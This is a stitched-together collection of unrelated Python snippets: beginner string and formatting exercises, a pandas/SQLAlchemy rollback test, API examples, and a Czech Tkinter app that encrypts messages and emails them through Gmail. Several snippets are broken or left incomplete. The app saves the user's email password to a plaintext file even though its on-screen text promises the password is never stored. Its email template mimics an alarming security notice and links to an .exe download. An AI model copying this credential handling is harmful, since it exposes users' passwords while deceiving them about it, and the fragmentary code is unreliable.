moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "{name}, you've brought your
grades up and I've observed that you have been studying your Bible,
but I'm disappointed you haven't had your hair cut."
{name} said, "You know, Dad, I've been {verb2} about that, and I've
noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's even
strong evidence that Jesus had long hair." His Dad replied,
"Did you also notice that they all {verb3} everywhere they went?"'''

#step4: print both the stories
print(f"\n\n-----------Original Story-----------\n{story}\n\n-----------Madlib Story-----------\n{changed_story}")

input_string = input()
input_string = input_string.upper() #to convert all letters of
#string to upper case
print(len(input_string)) #to count the total no. of characters
str_to_list = input_string.split(",") #to convert the string to list
#so that we can join the list with full stops
print(".".join(str_to_list)) #to join the elements of the list to
#form a full stop separated string

word="standard"
ans5 = word[1:4]
print(ans5)
#Output should be tan

word="standard"
ans4 = word[:6:2]
#Another way:- word[0:6:2]
print(ans4)
#Output should be sad

wrd="Toscana"
ans3 =wrd[3:6]
print(ans3)
#Output should be can

find_sum = 'Lorem Ipsum'
ans2 = find_sum[8:]
# Another way:- find_sum[8:11]
print(ans2)
#Output should be sum

word = 'Typesetting'
ans1 = word[:3] 
#Another way:- word[0:3]
print(ans1)
#output: Typ

word="standard"
ans5 =
print(ans5)
#Output should be tan

word="standard"
ans4 =
print(ans4)
#Output should be sad

wrd="Toscana"
ans3 =
print(ans3)
#Output should be can

find_sum = 'Lorem Ipsum'
ans2 =
print(ans2)
#Output should be sum

word = 'Typesetting'
ans1 = 
print(ans1)
#Output should be Typ

str1 = "I am happy"
print(str1[0]) # I
print(str1[1]) #  (whitespace)
print(str1[2]) # a
print(str1[3]) # m
print(str1[4]) #  (whitespace)
print(str1[5]) # h
print(str1[6]) # a
print(str1[7]) # p
print(str1[8]) # p
print(str1[9]) # y

son = "John"
father = "Dad"
thing = "car"
verb = "walked"
print(f'''A teenage boy named {son} had just passed his driving test
and asked his {father} if he could start using the family {thing}.
The {father} said he'd make a deal with {son}, "You bring your 
grades up from a C to a B average, study your Bible a little, and 
get your hair cut.
Then we'll talk about the {thing}". {son} thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the {father} said, "{son}, you've brought 
your grades up and I've observed that you have been studying your 
Bible, but I'm disappointed you haven't had your hair cut."
{son} said, "You know, {father}, I've been thinking about that, and
I've noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's
even strong evidence that Jesus had long hair." His {father} 
replied, "Did you also notice that they all {verb} everywhere they 
went?"''')

what ="f-string"
adjective = "fantastic"

print(f"{what} is {adjective}")

name = "Python"
age = 31
number = 284.242

print("I am %s I am %d years old. I support floating point numbers like %f." % (name, age, number))

action1 = "Sing"
action2 = "Dance"
action3 = "Be difficult"

print("Three things that python can't do:- {}, {}, and {}!!".format(action1, action2, action3))
#Keyword and position are also possible

show = "Monty Python's Flying Circus,"

print("Python is named after ", show, " a BBC comedy series from the 1970s.")

game = "PUBG"
print(game+" is a game!!")

#!!Don't forget to give a space before 'is' otherwise
#PUBGis a game!!   #This will be your ouptut

#-----GAME-----
diamonds = 10
#player won 
daimonds += 5
#player lost
diamonds -= 1
#player wants to see total no. of diamonds he has
print("The total no. of diamonds you have = ", diamonds)

import pandas as pd
import sqlalchemy as sa

engine = sa.create_engine("mssql+pyodbc://@mssqlLocal64")

def dump_tran_test_table(conn):
    print(conn.execute(sa.text("SELECT * FROM tran_test")).fetchall())

# set up test environment
with engine.begin() as conn:
    conn.exec_driver_sql("DROP TABLE IF EXISTS tran_test")
    conn.exec_driver_sql(
        "CREATE TABLE tran_test "
        "(txt varchar(10), id int primary key)"
    )
    conn.exec_driver_sql(
        "INSERT INTO tran_test (txt, id) VALUES "
        "('old_foo', 1), ('old_bar', 2)"
    )

# test
with engine.connect() as conn:
    tran = conn.begin()
    df = pd.DataFrame([("new_baz", 3)], columns=["txt", "id"])
    df.to_sql("tran_test", conn, index=False, if_exists="append")
    dump_tran_test_table(conn)
    """console output:
    [('old_foo', 1), ('old_bar', 2), ('new_baz', 3)]
    """
    tran.rollback()
    dump_tran_test_table(conn)
    """console output:
    [('old_foo', 1), ('old_bar', 2)]
    """

conda activate base

>>> import pandas as pd
>>> 
>>> df = pd.DataFrame(['1/2/2020','12/31/2020','20-Jun-20'],columns=['Date'])
>>> df
         Date
0    1/2/2020
1  12/31/2020
2   20-Jun-20
>>> 
>>> df['Date'] = pd.to_datetime(df['Date'])
>>> df
        Date
0 2020-01-02
1 2020-12-31
2 2020-06-20
>>> 
>>> df['Date'] = pd.to_datetime(df['Date']).dt.strftime('%y-%m-%d')
>>> 
>>> df
       Date
0  20-01-02
1  20-12-31
2  20-06-20
>>> 

console.log('Welcome to HomePage!')

from langflow import CustomComponent

from langchain.llms.base import BaseLLM
from langchain.chains import LLMChain
from langchain import PromptTemplate
from langchain.schema import Document

import requests

class YourComponent(CustomComponent):
    display_name: str = "Custom Component"
    description: str = "Create any custom component you want!"

    def build_config(self):
        return { "url": { "multiline": True, "required": True } }

    def build(self, url: str, llm: BaseLLM, prompt: PromptTemplate) -> Document:
        response = requests.get(url)
        chain = LLMChain(llm=llm, prompt=prompt)
        result = chain.run(response.text[:300])
        return Document(page_content=str(result))

import emailvalidationio

client = emailvalidationio.Client('YOUR-API-KEY')
result = client.validate('support@emailvalidation.io')
print(result)

import requests
url = "https://api.currencyapi.com/v3/latest"
headers = {
    'apikey': 'YOUR-API-KEY'
}
response = requests.request("GET", url, headers=headers)
print(response.text
      

num_str = "10" #it is a string because it is inside quotes
num = 10.1 #it is an float
num_result = int(num_str) + num #telling python that num_str 
#is a number and to add it to num.
print(num_result)
print(type(num_result))

num_str = "10" #it is a string because it is inside quotes
num = 10.1 #it is an float
num_result = num_str + num
print(num_result)
print(type(num_result))

num1 = 10 #it is an integer
num2 = 10.1 #it is an float
num3 = num1 + num2 #it will be converted to float to avoid data loss
print(num3) #20.1
print(type(num3)) #it got converted to float datatype

#addition
print(8+9) #17
#division
print(8/9) #0.8888888888888888
#multiplication
print(8*9) #72
#finding remainder
print(8%9) #8
#These are all examples of arithmetic operators(+,/,*,%).

print(3+1j)
a = (3+1j) # This is also a variable we will discuss them next to next post.
print(type(a))

print(10.12)
print(type(10.12))

print(10 > 9)
print(10 == 9)
print(10 < 9)
player= "won" # this line creates a variable we will discuss them later. It prints nothing.
print(player=="won")

print(1)
print(1,1)
print(type(1))
#And so on.

print("Hiii")#this is an inline comment
print(" '#' This is not a comment this will be printed")

#First
#Put a
# hash 
#before all the lines
#you want to comment

print('This must be quite obvious, anyways the next option is:')

  #Second
"""put the
multi line either between three 
double quotes or"""
'''between
three
single quotes'''
#

#This is a single line comment
print("Hello World")
#print("This too will be treated as a comment")

print("Your Name")
print(5)

#This is a comment.
print("however, this will be printed") #This is also a comment

import tkinter as tk
from tkinter import messagebox
import random
import smtplib
import tkinter.messagebox as mbox
from email.mime.multipart import MIMEMultipart
import time
from email.mime.base import MIMEBase
from email import encoders

import getpass
from email.mime.text import MIMEText
obsah_desifrovane_zpravy = ""


def tlacitko_klik():

    okno.destroy()
    menu = tk.Tk()
    menu.geometry("800x800")
    # menu.configure(bg="light gray")
    menu.title("HiddenLanguage")


    label1 = tk.Label(menu,text="\n" +"Šifrovat či Dešifrovat?",font=("Arial",30,"bold"))
    label1.pack()

    label2 = tk.Label(menu,text="Chcete šifrovat nebo dešifrovat?",font=("Arial",15))
    label2.pack()

    # --------------------------------
    def tlacitko_klik_sif():
        import json
        # Tady se vyčistí soubory txt ze speciálního nastavení = 1) nápověda v emailu, 2) přezdívka v emailu
        with open("napoveda_uzivatel", "w") as file:
            file.write("ano")

        data = data = {
    "chce_prezdivku": False,
    "prezdivka": "prezdivka"
                    }
        with open("prezdivka.json", "w") as json_file:
            json.dump(data, json_file)


        #Přes tento kod se uloží hodnoty a spustí funkce Šifrování a email.
        def ulozeni_hodnot_mail():
            # Získáme text z textboxu (Text widgetu)
            zprava_ke_skryti = textbox_obsah.get("1.0", "end-1c")  # "1.0" označuje začátek a "end-1c" označuje konec textu
            nazev_souboru_sifr = (str(textbot_nazev_souboru.get("1.0", "end-1c")) + ".txt")
            odesilatel = textbot_odesilatel.get("1.0", "end-1c")
            prijemce = textbot_prijemce.get("1.0", "end-1c")
            heslo = textbot_odesilatel_heslo.get("1.0", "end-1c")
            #List který slouží pro for i in range dole


            with open("zprava_ke_skryti.txt","w") as file:
                file.write(zprava_ke_skryti)
            with open(nazev_souboru_sifr, "w") as file:
                file.write(nazev_souboru_sifr)
            with open("odesilatel.txt","w") as file:
                file.write(odesilatel)
            with open("prijemce.txt","w") as file:
                file.write(prijemce)
            with open("heslo.txt", "w") as file:
                file.write(heslo)

            # Tady získáváme informace ke každé informaci v podobě True False (jestli je pole prázdné nebo ne) Stačí aby bylo jedno a bude error
            if not zprava_ke_skryti.strip() or not nazev_souboru_sifr.strip() or not odesilatel.strip() or not prijemce.strip() or not heslo.strip():
                messagebox.showinfo("Upozornění", "Vyplňte všechna pole!")

            if odesilatel.strip():
                if not odesilatel[-10:] == "@gmail.com":
                    messagebox.showinfo("Upozornění", "Jediná možná adresa u odesílatele e-mailu je @gmail.com!")

            Sifrovani(zprava_ke_skryti, nazev_souboru_sifr)
            with open("sifrovani.txt", "r") as file:
                sifrovany_text = file.read()
                #oznamena_sifra = tk.Label(sifrovani_okno, text=(
                        #"Vaše skrytá zakodovaná šifra zní takto: " + str(sifrovany_text)),
                #oznamena_sifra.place(x=150, y=650, width=600, height=100)
            email(odesilatel, prijemce, heslo, nazev_souboru_sifr)
            mbox.showinfo("Upozornění", "Úspěšně odeslán email!")

            # Tady vyčistíme všechny hodnoty aby nemohl spamovat maily zasebou
            textbox_obsah.delete("1.0", tk.END)
            textbot_nazev_souboru.delete("1.0", tk.END)
            textbot_odesilatel.delete("1.0", tk.END)
            textbot_prijemce.delete("1.0", tk.END)
            textbot_odesilatel_heslo.delete("1.0", tk.END)

            #sifrovani_okno.destroy()
            #time.sleep(2)
            #Uvodni_menu()



        #Vytvoření šifrovacího okna
        sifrovani_okno = tk.Tk()
        sifrovani_okno.geometry("1920x1080")
        sifrovani_okno.title("Šifrování")
        menu.destroy()

        def zpet_do_menu():
            sifrovani_okno.destroy()
            Uvodni_menu()

        label1 = tk.Label(sifrovani_okno ,text="Šifrování", font=("Arial", 30))
        label1.pack()

        label2 = tk.Label(sifrovani_okno,text="Níže napište svoji zprávu, jenž chcete šifrovat.", font=("Arial", 15))
        label2.pack()
        textbox_obsah = tk.Text(sifrovani_okno, height=10,width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        label3 = tk.Label(sifrovani_okno,padx=30, text="Zde napište název pro soubor, v němž bude uložen kod.", font=("Arial", 15))
        label3.pack()
        textbot_nazev_souboru = tk.Text(sifrovani_okno, height=1,width=30, font=("Arial", 15))
        textbot_nazev_souboru.pack(pady=20)

        #EMAIL
        email_odesilatel_label = tk.Label(sifrovani_okno,padx=35, text="Zadejte váš email", font=("Arial", 15))
        email_odesilatel_label.pack()
        textbot_odesilatel = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel.pack(pady=20)

        email_prijemce_label = tk.Label(sifrovani_okno, padx=45, text="Zadejte email dané osoby", font=("Arial", 15))
        email_prijemce_label.pack()
        textbot_prijemce = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_prijemce.pack(pady=20)

        email_odesilatel_label_heslo = tk.Label(sifrovani_okno, padx=50, text="Zadejte vaše heslo", font=("Arial", 15))
        email_odesilatel_label_heslo.pack()
        textbot_odesilatel_heslo = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel_heslo.pack(pady=20)

        kontrola = tk.Button(sifrovani_okno,text="Odeslat", command=ulozeni_hodnot_mail,font=("Arial",20),bg = "gray", fg = "black", activebackground = "blue",activeforeground="white")
        kontrola.pack(pady=10)

        poznamka = tk.Label(sifrovani_okno, text="Kod v souboru, jemuž dáváte název je takový kod bez mezer, který je důležitý při dešifrování." + "\n" +"Odesílatel musí mít emailovou adresu od Gmailu. Příjemce nemusí." + "\n" +"Heslo vámi zadané se nikam neukládá a za to vám ručím. Celý programovací kod je veřejně přístupný.", font=("Arial", 10))
        poznamka.pack(pady=10)

        navraceni_do_menu = tk.Button(sifrovani_okno,text="Vrátit se do menu",command=zpet_do_menu,font=("Arial",12,"bold"),bg="blue",fg="white",activeforeground="black")
        navraceni_do_menu.pack()

        #------------------------------------------------------------

        # Tady jsou definovány checkboxy které se ptají na návod a přezdívku
        #Funkce SE SPUSTÍ JAKMILE UŽIVATEL ZMÁČKNE TLAČÍTKO PRO ULOŽENÍ



        def otevri_vyskakovaci_okno():
            vyskakovaci_okno = tk.Toplevel()
            vyskakovaci_okno.geometry("900x500")
            vyskakovaci_okno.title("Nastavení nápovědy v mailu")


            # Tady je definován textbox který se objeví jakmile je v druhé možnosti zaškrtnuto jakože ano
            # Tady bude textbox, který se zobrazí pouze jakmile je zaškrtnutá možnost 1
            def on_text_click(event):
                if textbox.get("1.0",
                               tk.END).strip() == "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!":
                    textbox.delete("1.0", tk.END)  # Smazat původní text při kliknutí do pole
                    textbox.config(fg='black')  # Změnit barvu textu na černou

            def on_focus_out(event):
                if textbox.get("1.0", tk.END).strip() == "":
                    textbox.insert("1.0",
                                   "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!")  # Pokud uživatel nezadal žádný text, vrátit původní placeholder
                    textbox.config(fg='grey')  # Nastavit barvu textu na šedou

            # Placeholder - původní text, který se zobrazuje, dokud uživatel nezačne psát
            placeholder = "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!"

            textbox = tk.Text(vyskakovaci_okno, height=3, width=40, wrap="word", fg='grey',font=("Arial",10))
            textbox.insert("1.0", placeholder)
            textbox.bind('<FocusIn>', on_text_click)  # Při kliknutí do pole
            textbox.bind('<FocusOut>', on_focus_out)  # Když pole ztratí focus (kliknutí mimo pole)
            #KONEC TEXTBOXUUUUUUUUUUU

            def on_checkbox_click():
                if napoveda.get() == 1:
                    with open("napoveda_uzivatel", "w") as file:
                        file.write("ano")
                else:
                    with open("napoveda_uzivatel", "w") as file:
                        file.write("ne")

            def chce_jmeno_checkbox_klik():
                if chce_jmeno_y_n.get() == 1:
                    textbox.pack(pady=10)
                else:
                    textbox.pack_forget()

            # Zde jsou checkboxy a otazky
            label = tk.Label(vyskakovaci_okno, text="Nastavení nápovědy", font=("Arial", 20),activeforeground="blue")
            label.pack(pady=10)
            label_napoveda = tk.Label(vyskakovaci_okno,
                                      text="A) Pokud zaškrtnete checkbox, tak bude mail obsahovat návod k dešifrování zprávy." + "\n" + "Pokud nezaškrtnete checkbox, tak nápověda v mailu nebude.",font=("Arial",11),activeforeground="blue")
            label_napoveda.pack(pady=10)

            napoveda = tk.IntVar()
            checkbox = tk.Checkbutton(vyskakovaci_okno,
                                      text="Chci aby email obsahoval nápovědu k řešení",
                                      font=("Arial", 12), variable=napoveda, command=on_checkbox_click)
            checkbox.pack(pady=10)


            # Tady je část kodu jenž se zaobývá uživatelem
            label_uzivatel = tk.Label(vyskakovaci_okno,
                                      text="B) Tady je checkbox, který pokud zaškrtnete tak budete mít možnost vymyslet si vlastní přezdívku." + "\n" + "Pokud nezaškrtnete tuto možnost, tak počítač při odeslání mailu přečte název vašeho usera na pc např host nebo tomáš apod.",
                                      font=("Arial", 11), activeforeground="blue")
            label_uzivatel.pack(pady=10)

            chce_jmeno_y_n = tk.IntVar()
            jmeno_uzivatele = tk.Checkbutton(vyskakovaci_okno,
                                      text="Chci si sám vytvořit přezdívku",
                                      font=("Arial", 12), variable=chce_jmeno_y_n, command=chce_jmeno_checkbox_klik)
            jmeno_uzivatele.pack(pady=10)

            #Toto uloží hodnoty z checkboxu
            def ulozeni_hodnot():
                import json
                if chce_jmeno_y_n.get() == 1:
                    prezdivka = textbox.get("1.0", "end-1c")

                    data = {
    "chce_prezdivku": True,
    "prezdivka": prezdivka
                    }

                    with open("prezdivka.json", "w") as json_file:
                        json.dump(data, json_file)
                vyskakovaci_okno.destroy()


            odeslat_button = tk.Button(vyskakovaci_okno,height=3,width=20,text="Potvrdit",command=ulozeni_hodnot,font=("Arial",16,"bold"),bg="blue",fg="white",activeforeground="black")
            odeslat_button.place(x=320,y=360)


        specialni_nastaveni = tk.Button(sifrovani_okno,text="Speciální nastavení",command=otevri_vyskakovaci_okno,font=("Arial",12,"bold"),bg="red",fg="white",activeforeground="black")
        specialni_nastaveni.pack(pady=5)


        #Konfigurace mailu
        def email(odesilatel,prijemce,password,nazev_souboru):
            import json
            import datetime

            with open("prezdivka.json", "r") as json_file:
                nactena_data = json.load(json_file)

            chceprezdivku = nactena_data["chce_prezdivku"]
            if chceprezdivku == True:
                qw = nactena_data["prezdivka"]
            else:
                qw = getpass.getuser()

            # Získání aktuálního času
            cas = datetime.datetime.now()
            hodiny_cas = cas.strftime("%H:%M:%S")
            formatovany_cas = cas.strftime("%Y-%m-%d %H:%M:%S")

            sender_password = password

            # Email configuration
            sender_email = odesilatel
            receiver_email = prijemce
            subject = "Byla vám poslána záhadná zpráva"

            with open(nazev_souboru,"r") as file:
                nova_abeceda = file.read()
            with open("napoveda_uzivatel","r") as file:
                napoveda_ano_ne = file.read()
            if napoveda_ano_ne == "ano":
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;"><strong>{nova_abeceda}</strong></span></p>
<p style="text-align: left;"><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            else:
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><span style="font-size: 18px;">{nova_abeceda}</span></strong></p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 26px;"><strong>Co d&aacute;le</strong></span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">V př&iacute;loze jsou dva soubory. Jeden z nich se vždy jmenuje sifrovani.txt a druh&yacute; je pojmenov&aacute;n podle autora.</span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 19px;"><strong><span style="color: rgb(226, 80, 65);">De&scaron;ifrov&aacute;n&iacute;</span></strong></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">St&aacute;hněte tento soubor, kter&yacute; se nejmenuje &scaron;ifrov&aacute;n&iacute;, do složky Plocha - HiddenLanguage - Program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program a zvolte druhou možnost = de&scaron;ifrov&aacute;n&iacute;.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev textov&eacute;ho souboru, jenž jste si před chv&iacute;l&iacute; st&aacute;hnul. (Pozor, napi&scaron;te n&aacute;zev bez .txt!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vložte nečiteln&yacute; k&oacute;d, jenž vid&iacute;te nad sebou v č&aacute;sti B.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Počkejte na v&yacute;sledek</li>
</ol>
<p><b style="font-family: Arial, Helvetica, sans-serif; font-size: 16px;">V odeslan&yacute;ch zpr&aacute;v&aacute;ch by jste měli vidět v&aacute;&scaron; odeslan&yacute; mail.</b></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 19px; color: rgb(41, 105, 176);"><strong>&Scaron;ifrov&aacute;n&iacute;</strong></span></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zvolte prvn&iacute; možnost.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte text, kter&yacute; chcete &scaron;ifrovat.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev pro uložen&iacute; va&scaron;eho k&oacute;du. (např. tajemny_kod)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Uvid&iacute;te za&scaron;ifrovanou zpr&aacute;vu</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vyberte zda-li chcete &scaron;ifru poslat někomu na mail.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte svůj e-mail. (Pouze a jedině Gmail funguje)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte e-mail toho, kdož m&aacute; mail obdržet.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte sv&eacute; heslo. (heslo nikde neukl&aacute;d&aacute;me!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Je hotovo!</li>
</ol>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            # Vytvoření instance MIMEText pro HTML obsah
            html_part = MIMEText(html_message, 'html')

            # Vytvoření multipart zprávy
            msg = MIMEMultipart()
            msg['From'] = sender_email
            msg['To'] = receiver_email
            msg['Subject'] = subject

            # Přidání HTML části do multipart zprávy
            msg.attach(html_part)


            # Přidání přílohy dm_heslo.txt
            with open(nazev_souboru, 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename=nazev_souboru)
                msg.attach(attachment)

            # Přidání přílohy screenshot.png
